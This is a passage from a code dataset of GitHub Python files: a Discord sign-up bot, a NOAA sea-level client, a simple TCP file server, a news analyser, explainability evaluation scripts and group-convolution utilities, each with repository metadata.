vethai)\r\nschedule.every().friday.at(\"07:45\").do(homeroom_2)\r\nschedule.every().friday.at(\"07:55\").do(math_02)\r\nschedule.every().friday.at(\"08:55\").do(sci)\r\nschedule.every().friday.at(\"09:55\").do(PE_02)\r\nschedule.every().friday.at(\"10:55\").do(history)\r\nschedule.every().friday.at(\"12:55\").do(info)\r\n\r\n\r\n\r\nwhile True:\r\n    schedule.run_pending()\r\n    time.sleep(1)\r\n","repo_name":"Offroad404/line-bot-sus","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9911160231","text":"import datetime\n\nimport aiohttp\nimport discord\nfrom discord.ext import commands\n\nimport config\nfrom utils.database import UserDatabase\nfrom utils.embed import Embed\n\n\nclass ConfirmButton(discord.ui.View):\n    def __init__(self, type):\n        super().__init__()\n        self.type = type\n\n    @discord.ui.button(emoji=\"✅\", label=\"진행하기\", style=discord.ButtonStyle.green)\n    async def confirm(\n        self, button: discord.ui.Button, interaction: discord.Interaction\n    ):\n        if self.type == \"가입\":\n            result = await UserDatabase.add(interaction.user.id)\n            if result[\"success\"]:\n                embed = Embed.user_footer(\n                    Embed.default(\n                        timestamp=datetime.datetime.now(),\n                        title=\"✅ 가입 완료됨\",\n                        description=result[\"result\"],\n                    ),\n                    interaction.user,\n                )\n            else:\n                embed = Embed.user_footer(\n                    Embed.default(\n                        timestamp=datetime.datetime.now(),\n                        title=\"❎ 가입 실패됨\",\n                        description=result[\"result\"],\n                    ),\n                    interaction.user,\n                )\n            return await interaction.response.edit_message(embed=embed, view=None)\n        elif self.type == \"탈퇴\":\n            result = await UserDatabase.delete(interaction.user.id)\n            if result[\"success\"]:\n                embed = Embed.user_footer(\n                    Embed.default(\n                        timestamp=datetime.datetime.now(),\n                        title=\"✅ 가입 완료됨\",\n                        description=result[\"result\"],\n                    ),\n                    interaction.user,\n                )\n            else:\n                embed = Embed.user_footer(\n                    Embed.default(\n                        timestamp=datetime.datetime.now(),\n                        title=\"❎ 가입 실패됨\",\n                        description=result[\"result\"],\n                    ),\n                    interaction.user,\n                )\n            return await interaction.response.edit_message(embed=embed, view=None)\n\n    @discord.ui.button(emoji=\"❎\", label=\"취소하기\", style=discord.ButtonStyle.red)\n    async def cancel(self, button: discord.ui.Button, interaction: discord.Interaction):\n        embed = Embed.user_footer(\n            Embed.default(\n                timestamp=datetime.datetime.now(),\n                title=\"❎ 가입 취소됨\",\n                description=\"가입이 취소되었습니다.\",\n            ),\n            interaction.user,\n        )\n        return await interaction.response.edit_message(embed=embed, view=None)\n\n\nclass User(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    async def account_check(self):\n        result = await UserDatabase.find(self.author.id)\n        if result:\n            embed = Embed.perm_warn(\n                timestamp=datetime.datetime.now(),\n                description=f\"{self.author.mention}님은 ``{self.bot.user.name} 서비스``에 에 이미 가입되어 있어요.\\n``/탈퇴`` 명령어로 탈퇴하실 수 있어요.\",\n            )\n            Embed.user_footer(embed, self.author)\n            await self.respond(embed=embed, ephemeral=True)\n            return False\n        return True\n\n    async def not_account_check(self):\n        result = await UserDatabase.find(self.author.id)\n        if result == None:\n            embed = Embed.perm_warn(\n                timestamp=datetime.datetime.now(),\n                description=f\"{self.author.mention}님은 ``{self.bot.user.name} 서비스``에 가입되어 있지 않아요.\\n``/가입`` 명령어로 서비스에 가입하실 수 있어요.\",\n            )\n            Embed.user_footer(embed, self.author)\n            await self.respond(embed=embed, ephemeral=True)\n            return False\n        return True\n\n    @commands.slash_command(\n        name=\"가입\",\n        description=\"K-BYEWORLD의 서비스에 가입합니다.\",\n        checks=[account_check],\n    )\n    async def user_register(self, ctx):\n        await ctx.defer(ephemeral=True)\n        embed = Embed.default(\n            \"👋 K-ByeWorld 서비스 가입\",\n            description=\"아래의 버튼을 눌러서 가입하세요.\",\n            timestamp=datetime.datetime.now(),\n        )\n        Embed.user_footer(embed, ctx.author)\n        await ctx.respond(embed=embed, view=ConfirmButton(type=\"가입\"))\n\n    @commands.slash_command(\n        name=\"투표인증\",\n        description=\"K-BYEWORLD의 투표를 인증하여 보상을 받습니다.\",\n        checks=[not_account_check],\n    )\n    async def user_votecheck(self, ctx):\n        await ctx.defer(ephemeral=True)\n        async with aiohttp.ClientSession() as session:\n            async with session.get(\n                f\"https://kxdapi.herokuapp.com/get/{config.Setting.KxD_API_Key}/{ctx.author.id}\"\n            ) as response:\n                json = await response.json()\n\n        if json[\"message\"]:\n            # await UserDatabase.money.add(ctx.author.id, \"1500000\") # 인증 보상; 사용시 주석 해제\n            await ctx.respond(\"투표해주셔서 감사합니다!\")\n        else:\n            embed = Embed.default(\n                \"투표를 안하셨네요!\",\n                description=\"아직 투표를 하지 않으셨다구요?\\n아래의 버튼을 눌러서 투표를 진행하세요!\",\n                timestamp=datetime.datetime.now()\n            )\n            Embed.user_footer(embed, ctx.author)\n            view = discord.ui.View()\n            view.add_item(\n                discord.ui.Button(\n                    emoji=\"🔗\",\n                    label=\"투표하러가기\",\n                    style=discord.ButtonStyle.primary,\n                    url=\"https://discord.com/channels/972789561719652412/1002922909309882448/1002923749198278686\"\n                )\n            )\n            await ctx.respond(\"https://discord.gg/WzFc9CYeJZ\", embed=embed, view=view)\n\n    @commands.slash_command(\n        name=\"탈퇴\",\n        description=\"K-BYEWORLD의 서비스에서 탈퇴합니다.\",\n        checks=[not_account_check],\n    )\n    async def user_delete(self, ctx):\n        await ctx.defer(ephemeral=True)\n        embed = Embed.default(\n            \"👋 K-ByeWorld 서비스 탈퇴\",\n            description=\"아래의 버튼을 눌러서 탈퇴하세요.\\n탈퇴 시 30일간 재가입이 불가합니다.\",\n            timestamp=datetime.datetime.now(),\n        )\n        Embed.user_footer(embed, ctx.author)\n        await ctx.respond(embed=embed, view=ConfirmButton(type=\"탈퇴\"))\n\n\ndef setup(bot):\n    bot.add_cog(User(bot))\n","repo_name":"kbyeworld/main","sub_path":"cogs/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":6780,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"23682537052","text":"import json\nimport urllib.request\nimport warnings\n\nfrom sealevelrise.scenario import Scenario\nfrom pandas import DataFrame\n\n\nclass NOAAScenarios:\n    def __init__(self, station_id: str = None, **kwargs) -> None:\n\n        # NOAA returns cm if metric is selected; in if english is selected\n        _report_year = kwargs.pop(\"Report Year\", 2022)\n        _units = kwargs.pop(\"Data Units\", \"metric\")\n        if _units == \"metric\":\n            units = \"cm\"\n        else:\n            units = \"in\"\n\n        _station_ID = station_id\n        _base_URL = (\n            \"https://api.tidesandcurrents.noaa.gov/dpapi/prod/webapi/product\"\n            \"/slr_projections.json\"\n        )\n\n        # Get the trend object from NOAA API\n        link = (\n            rf\"{_base_URL}\"\n            rf\"/?station={_station_ID}\"\n            rf\"&units={_units}\"\n            rf\"&report_year={_report_year}\"\n        )\n\n        # Load and append\n        with urllib.request.urlopen(link) as url:\n            try:\n                data = json.loads(url.read())[\"Scenarios\"]\n            except ConnectionError:\n                warnings.warn(\"Something came up while retrieving data from NOAA\")\n\n        _data = DataFrame.from_dict(data)\n\n        # NOAA has specific scenarios, and these are their properties\n        noaa_scenario_props = {\n            \"Low\": {\n                \"Description\": \"NOAA Low\",\n                \"Short Name\": \"Low\",\n                \"Probability\": None,\n            },\n            \"Intermediate-Low\": {\n                \"Description\": \"NOAA Intermediate-Low\",\n                \"Short Name\": \"Intermediate-Low\",\n                \"Probability\": None,\n            },\n            \"Intermediate\": {\n                \"Description\": \"NOAA Intermediate\",\n                \"Short Name\": \"Intermediate\",\n                \"Probability\": None,\n            },\n            \"Intermediate-High\": {\n                \"Description\": \"NOAA Intermediate-High\",\n                \"Short Name\": \"Intermediate-High\",\n                \"Probability\": None,\n            },\n            \"High\": {\n                \"Description\": \"NOAA High\",\n                \"Short Name\": \"High\",\n                \"Probability\": None,\n            },\n        }\n\n        # Launch the sequence and create the list of scenarios\n        scenarios = list()\n        for key_ in noaa_scenario_props.keys():\n            scenario_ = _data[_data.loc[:, \"scenario\"] == key_]\n            scenarios.append(\n                Scenario(\n                    description=noaa_scenario_props[key_][\"Description\"],\n                    short_name=noaa_scenario_props[key_][\"Short Name\"],\n                    units=units,\n                    probability=noaa_scenario_props[key_][\"Probability\"],\n                    baseline_year=2005,\n                    data={\n                        \"x\": scenario_.loc[:, \"projectionYear\"].values,\n                        \"y\": scenario_.loc[:, \"projectionRsl\"].values,\n                    },\n                )\n            )\n\n        # The name of the location is retrieved from the last scenario_ chunk\n        location_name = scenario_.loc[:, \"stationName\"].values[0]\n\n        # super().__init__(\n        #     scenarios=scenarios,\n        #     location_name=location_name.replace(\"_\", \" \").title(),\n        #     station_id=station_id,\n        #     issuer=(\n        #         \"National Oceanographic and Atmospheric Administration, \"\n        #         \"Sea Level Rise Projections, 2022\"\n        #     ),\n        #     url=(\n        #         \"https://oceanservice.noaa.gov/hazards/\"\n        #         \"sealevelrise/sealevelrise-tech-report.html\"\n        #     ),\n        # )\n\n        self.scenarios = scenarios\n        self.location_name = location_name.replace(\"_\", \" \").title()\n        self.station_id = station_id\n        self.issuer = (\n                \"National Oceanographic and Atmospheric Administration, \"\n                \"Sea Level Rise Projections, 2022\"\n        )\n        self.url = (\n                \"https://oceanservice.noaa.gov/hazards/\"\n                \"sealevelrise/sealevelrise-tech-report.html\"\n        )\n        self.noaa_properties = _data\n","repo_name":"jtoilliez/slr","sub_path":"src/sealevelrise/noaaslr.py","file_name":"noaaslr.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"6462523739","text":"from socket import *\n\n\ndef main():\n    # 创建套接字\n    tcp_server_socket = socket(AF_INET, SOCK_STREAM)\n    # 绑定本地端口\n    address = (\"\", 7788)\n    tcp_server_socket.bind(address)\n    tcp_server_socket.listen(128)\n    # 接收客户端\n    while True:\n        client_socekt, client_addr = tcp_server_socket.accept()\n        # 接收客户端要下载的文件名\n        file_name = client_socekt.recv(1024)\n        # 客户端退出\n        if file_name:\n            print(\"接收数据为：\", file_name.decode(\"utf-8\"))\n\n        # 发送文件到客户端\n        file_content = None\n        try:\n            f = open(file_name.decode(\"utf-8\"), \"rb\")\n            file_content = f.read()\n            f.close()\n        except Exception as result:\n            print(\"打开文件失败,没有要下载的文件,报错为：\", result)\n        if file_content:\n            client_socekt.send(file_content)\n\n    client_socekt.close()\n    tcp_server_socket.close()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"mengyan520/python","sub_path":"网络编程/udp和tcp/dc_04_文件下载服务端.py","file_name":"dc_04_文件下载服务端.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70328571577","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom collections import Counter\nfrom functools import partial\nfrom multiprocessing import Pool\nfrom sys import argv\n\nimport pandas as pd\n\nfrom ..helper import chunk_read_csv, get_news_from_tokens, yearly_split\n\n\ndef get_catagories_from_token(tokenNews: pd.DataFrame, token: str) -> dict:\n    def token_exists(token: str, ref: str) -> bool:\n        refs = set(ref.split(\" \"))\n        tokens = set(token.split())\n\n        return refs <= tokens\n\n    return tokenNews[tokenNews[\"headline_tokens\"].apply(token_exists, ref=token)][\n        \"headline_category\"\n    ]\n\n\ndef get_catagory_freq(tokenNews: list, catagory: str) -> dict:\n    for i in tokenNews:\n        print(Counter(list(i))[catagory])\n    return {}\n\n\ndef get_token_catagory_freq(tokenNews: list) -> dict:\n    for i in tokenNews:\n        print(Counter(list(i)).most_common(10))\n    return {}\n\n\ndef main(token: str = \"cricket\") -> None:\n    news = chunk_read_csv(\n        \"./data/processed_news.csv\",\n        usecols=[\"publish_date\", \"headline_category\", \"headline_tokens\"],\n    )\n\n    with Pool(8) as p:\n        processed_chunks = p.map(partial(get_news_from_tokens, token=token), news)\n\n    processed_df = pd.concat(processed_chunks, axis=0)\n\n    yearly = yearly_split(processed_df)\n    del processed_chunks, processed_df\n\n    with Pool(8) as p:\n        token_news = p.map(partial(get_catagories_from_token, token=token), yearly.values())\n\n    print(token_news)\n    print(get_token_catagory_freq(token_news))\n    print(get_catagory_freq(token_news, \"india\"))\n\n\nif __name__ == \"__main__\":\n    if len(argv) > 1:\n        main(argv[1].lower())\n\n    else:\n        print(\"Missing Arguments\")\n","repo_name":"Janmejay-Joshi/News-Analyser","sub_path":"news_analyser/analyser/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28967913605","text":"# coding=UTF-8\n\n# --------------------------------------------------------------\n# app_air_quality_data_cleaning文件\n# @introduction: 解析空气质量网页数据，并存入数据库\n# @source：天气后报，http://www.tianqihoubao.com/aqi/\n# @dependency: requests，bs4及re包\n# @author: plutoese\n# @date: 2016.06.26\n# --------------------------------------------------------------\n\nimport re\nfrom libs.class_mongodb import MongoDB\nfrom libs.class_htmlparser import HtmlParser\nfrom datetime import date\n\n# 初始化\nsource = 'https://www.hqms.org.cn/usp/roster/index.jsp'\n\n# 导入原始网页数据\ndb = MongoDB()\ndb.connect('cache','scraper')\nhtml_files = db.collection.find({'label':'hospital'})\n\n# 连接到空气质量数据库\ndb.connect('application','hospital')\n\n# 解析数据和储存进入MongoDB数据库\nfor apage in html_files:\n    content = apage['content']\n    rows = re.split('\\n',content)\n    vars = re.split('\\s+',rows[0])\n    region = re.split('（',re.split('\\s+',rows[1])[0])[0]\n    for cols in rows[2:]:\n        record = {'region':region}\n        record.update(dict(zip(vars,re.split('\\s+',cols))))\n        print(record)\n        db.collection.insert_one(record)\n\n\n\n","repo_name":"plutoese/webscraper","sub_path":"webscraper/application/hospital/app_hospital_data_cleaning.py","file_name":"app_hospital_data_cleaning.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17288692189","text":"\"\"\"Напишете програма која ќе прочита големина на агли во триаголник, да се провери дали може да се формира триаголник со тие агли(збирот мора да биде 180) и\r\n ако може да се формира триаголник да се провери каков триаголник може да се формира\"\"\"\r\n\r\nalfa = int(input(\"Vnesete agol na triagolnikot: \"))\r\nbeta = int(input(\"Vnesete drug agol na triagolnikot: \"))\r\ngama = int(input(\"Vnesete tret agol na triagolnikot: \"))\r\ns = alfa + beta + gama\r\nif s > 180:\r\n    print(\"Ne postoi triagolnik so ovie agli.\")\r\nelse:\r\n    if alfa == 90 or beta == 90 or gama == 90:\r\n        print(\"Triagolnikot e pravoagolen.\")\r\n    elif alfa > 90 or beta > 90 or gama > 90:\r\n        print(\"Triagolnikot e tapoagolen.\")\r\n    else:\r\n        print(\"Triagolnikot e ostroagolen.\")","repo_name":"smx-academy/python-conditionals-MilaStruga","sub_path":"prva_domasna7.py","file_name":"prva_domasna7.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"mk","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74908665014","text":"import json\nimport os\nimport argparse\n\nimport numpy as np\nimport random\nimport torch\nfrom torch import nn, optim\nfrom tqdm.auto import tqdm\nfrom transformers import AutoImageProcessor, AutoModelForImageClassification, AutoConfig\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\n\nfrom pathlib import Path\nfrom torch.utils.data import DataLoader, Subset, Dataset\nimport sys\nsys.path.append('lib/exlib/src')\n# sys.path.append('../lib/pytorch-grad-cam')\nfrom exlib.modules.sop import SOPImageCls, SOPConfig, get_chained_attr\nfrom exlib.explainers.archipelago import ArchipelagoImageCls\nfrom exlib.explainers.lime import LimeImageCls\nfrom exlib.explainers.common import patch_segmenter\nfrom exlib.explainers import ShapImageCls\nfrom exlib.explainers import RiseImageCls\nfrom exlib.explainers import IntGradImageCls\nfrom exlib.explainers import GradCAMImageCls\n\nimport torchvision.transforms as transforms\nfrom torchvision.datasets import ImageFolder\nfrom torch.utils.data import DataLoader\nfrom PIL import Image\n\n\nfrom collections import namedtuple\n\nWrappedBackboneOutput = namedtuple(\"WrappedBackboneOutput\", \n                                  [\"logits\",\n                                   \"pooler_output\"])\n\n\nclass WrappedBackboneModel(nn.Module):\n    def __init__(self, model):\n        super().__init__()\n        self.model = model\n    \n    def forward(self, inputs):\n        outputs = self.model(inputs, output_hidden_states=True)\n        return WrappedBackboneOutput(outputs.logits, outputs.hidden_states[-1][:,0])\n    \nclass WrappedModel(nn.Module):\n    def __init__(self, model):\n        super().__init__()\n        self.model = model\n    \n    def forward(self, inputs):\n        outputs = self.model(inputs, output_hidden_states=True)\n        return outputs.logits\n    \n\nclass ImageFolderSubDataset(Dataset):\n    def __init__(self, data_dir, transform=None, num_data=-1):\n        self.data_dir = data_dir\n        self.transform = transform\n        self.image_paths = []\n        self.labels = []\n        \n        for label in sorted(os.listdir(data_dir)):\n            for i, image_path in enumerate(sorted(os.listdir(os.path.join(data_dir, label)))):\n                if num_data != -1 and i >= num_data:\n                    break\n                self.image_paths.append(os.path.join(data_dir, label, image_path))\n                self.labels.append(label)\n        print('Loaded {} images'.format(len(self.image_paths)))\n\n        self.all_labels = sorted(list(set(self.labels)))\n    \n    def __len__(self):\n        return len(self.image_paths)\n    \n    def __getitem__(self, idx):\n        image_path = self.image_paths[idx]\n        label = self.all_labels.index(self.labels[idx])\n        image = Image.open(image_path)\n        if self.transform is not None:\n            image = self.transform(image)\n        return image, label\n    \n\nEXPLAINER_NAMES = ['lime', 'archipelago', 'rise', 'shap', 'intgrad', 'gradcam']\n\nif __name__ == '__main__':\n    explainer_name = sys.argv[1]\n    if len(sys.argv) > 2:\n        num_data = int(sys.argv[2])\n    else:\n        num_data = -1\n    if explainer_name not in EXPLAINER_NAMES:\n        raise ValueError('Invalid explainer name' + explainer_name)\n\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n    SEED = 42\n    if SEED != -1:\n        # Torch RNG\n        torch.manual_seed(SEED)\n        torch.cuda.manual_seed(SEED)\n        torch.cuda.manual_seed_all(SEED)\n        # Python RNG\n        np.random.seed(SEED)\n        random.seed(SEED)\n\n    # model paths\n    backbone_model_name = 'pt_models/vit-base-patch16-224-imagenet10cls'\n    backbone_processor_name = 'google/vit-base-patch16-224'\n    # sop_config_path = 'configs/imagenet_m.json'\n\n    # data paths\n    TRAIN_DATA_DIR = 'data/imagenet_m/train'\n    VAL_DATA_DIR = 'data/imagenet_m/val'\n\n    # training args\n    batch_size = 1\n    lr = 0.000005\n    num_epochs = 20\n    warmup_steps = 2000\n    mask_batch_size = 64\n\n    # experiment args\n    exp_dir = 'exps/imagenet_m_2h/best'\n\n    backbone_model = AutoModelForImageClassification.from_pretrained(backbone_model_name)\n    processor = AutoImageProcessor.from_pretrained(backbone_processor_name)\n    backbone_config = AutoConfig.from_pretrained(backbone_model_name)\n\n    config = SOPConfig()\n    config.update_from_json(os.path.join(exp_dir, 'config.json'))\n\n    def transform(image):\n        # Preprocess the image using the ViTImageProcessor\n        image = image.convert(\"RGB\")\n        inputs = processor(image, return_tensors='pt')\n        return inputs['pixel_values'].squeeze(0)\n\n    # Load the dataset\n    # train_dataset = ImageFolder(root=TRAIN_DATA_DIR, transform=transform)\n    val_dataset = ImageFolderSubDataset(VAL_DATA_DIR, transform, num_data=num_data)\n\n    # # Use subset for testing purpose\n    # # num_data = 2\n    # if num_data != -1:\n    #     # train_dataset = Subset(train_dataset, range(num_data))\n    #     val_dataset = Subset(val_dataset, range(num_data))\n\n    # Create a DataLoader to batch and shuffle the data\n    # train_dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n    val_dataloader = DataLoader(val_dataset, batch_size=batch_size, shuffle=False)\n\n        \n    wrapped_backbone_model = WrappedBackboneModel(backbone_model)\n    wrapped_backbone_model = wrapped_backbone_model.to(device)\n    class_weights = get_chained_attr(wrapped_backbone_model, config.finetune_layers[0]).weight #.clone().to(device)\n\n    model = SOPImageCls(config, wrapped_backbone_model, class_weights=class_weights, projection_layer=None)\n    state_dict = torch.load(os.path.join(exp_dir, 'checkpoint.pth'))\n    model.load_state_dict(state_dict['model'])\n    model = model.to(device)\n    model.eval();\n\n    original_model = WrappedModel(backbone_model)\n    original_model = original_model.to(device)\n    original_model.eval();\n\n    if explainer_name == 'lime':\n        eik = {\n            \"segmentation_fn\": patch_segmenter,\n            \"top_labels\": 1000, \n            \"hide_color\": 0, \n            \"num_samples\": 1000\n        }\n        gimk = {\n            \"positive_only\": False\n        }\n        explainer = LimeImageCls(original_model, \n                            explain_instance_kwargs=eik, \n                            get_image_and_mask_kwargs=gimk)\n    elif explainer_name == 'shap':\n        explainer = ShapImageCls(original_model)\n    elif explainer_name == 'rise':\n        explainer = RiseImageCls(original_model)\n    elif explainer_name == 'intgrad':\n        explainer = IntGradImageCls(original_model)\n    elif explainer_name == 'gradcam':\n        explainer = GradCAMImageCls(original_model, \n                                    [original_model.model.vit.encoder.layer[-1].layernorm_before])\n    elif explainer_name == 'archipelago':\n        explainer = ArchipelagoImageCls(original_model)\n    else:\n        raise ValueError('Invalid explainer name' + explainer_name)\n    \n    explainer = explainer.to(device)\n        \n    consistents = 0\n    corrects = 0\n    total = 0\n\n    os.makedirs(os.path.join(exp_dir, 'attributions', explainer_name), exist_ok=True)\n\n    count = 0\n\n    for batch in tqdm(val_dataloader):\n        inputs, labels = batch\n        inputs, labels = inputs.to(device), labels.to(device)\n        bsz = inputs.shape[0]\n        with torch.no_grad():\n            logits = original_model(inputs)\n            preds = torch.argmax(logits, dim=-1)\n\n            expln = explainer(inputs, labels)\n\n            aggr_preds = []\n            explns = []\n            for j in range(bsz):\n                if explainer_name == 'lime':\n                    grouped_attrs = []\n                    for i in tqdm(range(10)):\n                        grouped_attrs.append([v for k, v in expln.explainer_output[j].local_exp[i]])\n                    grouped_attrs_aggr = torch.tensor([sum(ga) for ga in grouped_attrs]).to(device)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                elif explainer_name == 'shap':\n                    grouped_attrs = []\n                    for i in tqdm(range(10)):\n                        expln_i = explainer(inputs, torch.tensor([i]))\n                        grouped_attrs.append(expln_i.attributions[j].view(-1))\n                        explns.append(expln_i)\n                    grouped_attrs_aggr = torch.tensor([ga.sum() for ga in grouped_attrs]).to(device)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                elif explainer_name == 'rise':\n                    grouped_attrs = expln.explainer_output[j]\n                    grouped_attrs_aggr = expln.explainer_output[j].sum(-1).sum(-1)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                elif explainer_name == 'intgrad':\n                    grouped_attrs = []\n                    for i in tqdm(range(10)):\n                        expln_i = explainer(inputs, torch.tensor([i]))\n                        grouped_attrs.append(expln_i.attributions[j].view(-1))\n                        explns.append(expln_i)\n                    grouped_attrs_aggr = torch.tensor([ga.sum() for ga in grouped_attrs]).to(device)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                elif explainer_name == 'gradcam':\n                    grouped_attrs = []\n                    for i in tqdm(range(10)):\n                        expln_i = explainer(inputs, torch.tensor([i]))\n                        grouped_attrs.append(expln_i.attributions[j].view(-1))\n                        explns.append(expln_i)\n                    grouped_attrs_aggr = torch.tensor([ga.sum() for ga in grouped_attrs]).to(device)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                elif explainer_name == 'archipelago':\n                    grouped_attrs = []\n                    for i in tqdm(range(10)):\n                        expln_i = explainer(inputs, torch.tensor([i]))\n                        grouped_attrs.append(expln_i.explainer_output['mask_weights'][j])\n                        explns.append(expln_i)\n                    grouped_attrs_aggr = torch.tensor([ga.sum() for ga in grouped_attrs]).to(device)\n                    aggr_pred = torch.argmax(grouped_attrs_aggr)\n                else:\n                    raise ValueError('Invalid explainer name' + explainer_name)\n                aggr_preds.append(aggr_pred)\n\n                output_filename = f'{count}.pt'\n                attributions_results ={\n                    'input': inputs[j],\n                    'label': labels[j],\n                    'logit': logits[j],\n                    'expln': expln,\n                    'grouped_attrs': grouped_attrs,\n                    'grouped_attrs_aggr': grouped_attrs_aggr,\n                    'explns': explns\n                    \n                }\n                torch.save(attributions_results, os.path.join(exp_dir, 'attributions', explainer_name, output_filename))\n                count += 1\n\n            aggr_preds = torch.stack(aggr_preds)\n            connsist = (aggr_preds == preds).sum().item()\n            correct = (preds == labels).sum().item()\n\n            consistents += connsist\n            corrects += correct\n            total += bsz\n            \n    print('Consistency: ', consistents / total)\n    print('Accuracy: ', corrects / total)\n    results = {'consistency': consistents / total, 'accuracy': corrects / total}\n","repo_name":"DebugML/sop","sub_path":"scripts/run/eval_imagenet_m_baselines_save.py","file_name":"eval_imagenet_m_baselines_save.py","file_ext":"py","file_size_in_byte":11358,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"27849400932","text":"\"\"\" Group convolution related utilities. \"\"\"\n\nimport json\nimport logging\nimport os\n\nimport numpy as np\nimport torch\n\nfrom gumi import model_utils\nfrom gumi.ops import GroupConv2d, MaskConv2d\n\n__all__ = [\n    \"get_group_allocation\",\n    \"is_gsp_satisfied\",\n    \"get_group_parameters\",\n    \"get_group_param\",\n]\n\n\ndef get_group_allocation(mask: torch.Tensor, G: int):\n    \"\"\" Allocate group ID to each kernel in an F x C matrix.\n\n    The result contains two arrays, `gaf` and `gac`.\n\n    They indicate which group in the corresponding axis (filter or channel)\n    that the kernel belongs to.\n    \"\"\"\n    assert len(mask.shape) == 2\n    F, C = mask.shape\n\n    gaf = np.zeros(F, dtype=np.uint8)  # filter alloc\n    gac = np.zeros(C, dtype=np.uint8)  # channel alloc\n    gid = 1  # current group ID\n\n    for c in range(C):\n        for f in range(F):\n            # f, c is the leading kernel of the current group\n            if mask[f][c] == 0 or (gaf[f] != 0 and gac[c] != 0):  # already allocated\n                continue\n\n            # allocate along the filter and the channel\n            # NOTE if there is any conflict, we will find out in the end\n            gaf[mask[:, c] > 0] = gid\n            gac[mask[f, :] > 0] = gid\n\n            gid += 1  # update group\n\n    if gid != G + 1:  # insufficient splits\n        return None, None\n\n    # check the allocation\n    for i in range(G):\n        if np.sum(gaf == i + 1) != F // G or np.sum(gac == i + 1) != C // G:\n            return None, None\n\n    return gaf, gac\n\n\ndef is_gsp_satisfied(mod: MaskConv2d, G: int):\n    \"\"\" Check whether the mask from MaskConv2D satisfies GSP. \"\"\"\n    if not isinstance(mod, MaskConv2d):\n        raise TypeError(\n            \"You should provide a MaskConv2D module, got {}\".format(type(mod))\n        )\n\n    mask = mod.mask\n    F, C = mask.shape\n\n    if (mask.sum(dim=0) == F // G).all().item() != 1 or (\n        mask.sum(dim=1) == C // G\n    ).all().item() != 1:\n        return False\n\n    gaf, gac = get_group_allocation(mod.mask, G)\n    if gaf is None or gac is None:  # cannot find valid allocation\n        return False\n\n    return True\n\n\ndef get_group_parameters(mod: MaskConv2d, G):\n    \"\"\" Create weight groups from MaskConv2d. \"\"\"\n    if not isinstance(mod, MaskConv2d):\n        raise TypeError(\n            \"You should provide a MaskConv2D module, got {}\".format(type(mod))\n        )\n\n    # NOTE no bias involved\n    weight = mod.weight.detach().cpu().numpy()\n    mask = mod.mask.detach().cpu().numpy()\n\n    return get_group_param(weight, mask, G)\n\n\ndef get_group_param(weight, mask, G):\n    \"\"\" Create weight groups from MaskConv2d. \"\"\"\n    F, C, K = weight.shape[:3]\n\n    # collect the group\n    weight_group = np.zeros((F, C // G, K, K))\n    fg, cg = F // G, C // G\n    gaf, gac = get_group_allocation(mask, G)\n\n    # NOTE: this mapping won't be affected by the permutation\n    for g in range(G):\n        wg = weight[gaf == (g + 1), :, :, :]  # select weight group\n        wg = wg[:, gac == (g + 1), :, :]\n        weight_group[g * fg : (g + 1) * fg, :, :, :] = wg\n\n    # get the permutation indices\n    ind_in = np.zeros(C, dtype=np.int32)\n    ind_out = np.zeros(F, dtype=np.int32)\n    for g in range(G):\n        ind_in[g * cg : (g + 1) * cg] = np.where(gac == (g + 1))[0]\n        ind_out[gaf == (g + 1)] = np.arange(g * fg, (g + 1) * fg)\n\n    return weight_group, ind_in, ind_out\n\n\ndef create_get_num_groups_fn(G=0, MCPG=0, group_cfg=None):\n    \"\"\" Create the hook function for getting \n    the number of groups for a given module. \"\"\"\n\n    g_cfg = None\n    if isinstance(group_cfg, str) and os.path.isfile(group_cfg):\n        with open(group_cfg, \"r\") as f:\n            g_cfg = json.load(f)\n\n    def get_num_groups(name, mod):\n        G_ = G  # choose G in the beginning\n\n        W = model_utils.get_weight_parameter(mod)\n        F, C = W.shape[:2]\n\n        # how to override G_\n        if g_cfg is not None:\n            if name in g_cfg:\n                G_ = g_cfg[name][\"G\"]\n                # do some verification\n                assert F == g_cfg[name][\"F\"] and C == g_cfg[name][\"C\"]\n            else:\n                # HACK - we don't want to have G=0 in further processing\n                G_ = 1\n\n        elif MCPG > 0:\n            if GroupConv2d.groupable(C, F, max_channels_per_group=MCPG):\n                G_ = GroupConv2d.get_num_groups(C, F, max_channels_per_group=MCPG)\n            else:\n                logging.warn(\n                    \"Module {} is not groupable under MCPG={}, set its G to 1\".format(\n                        name, MCPG\n                    )\n                )\n                G_ = 1\n\n        return G_\n\n    return get_num_groups\n","repo_name":"kumasento/gconv-prune","sub_path":"gumi/group_utils.py","file_name":"group_utils.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"}
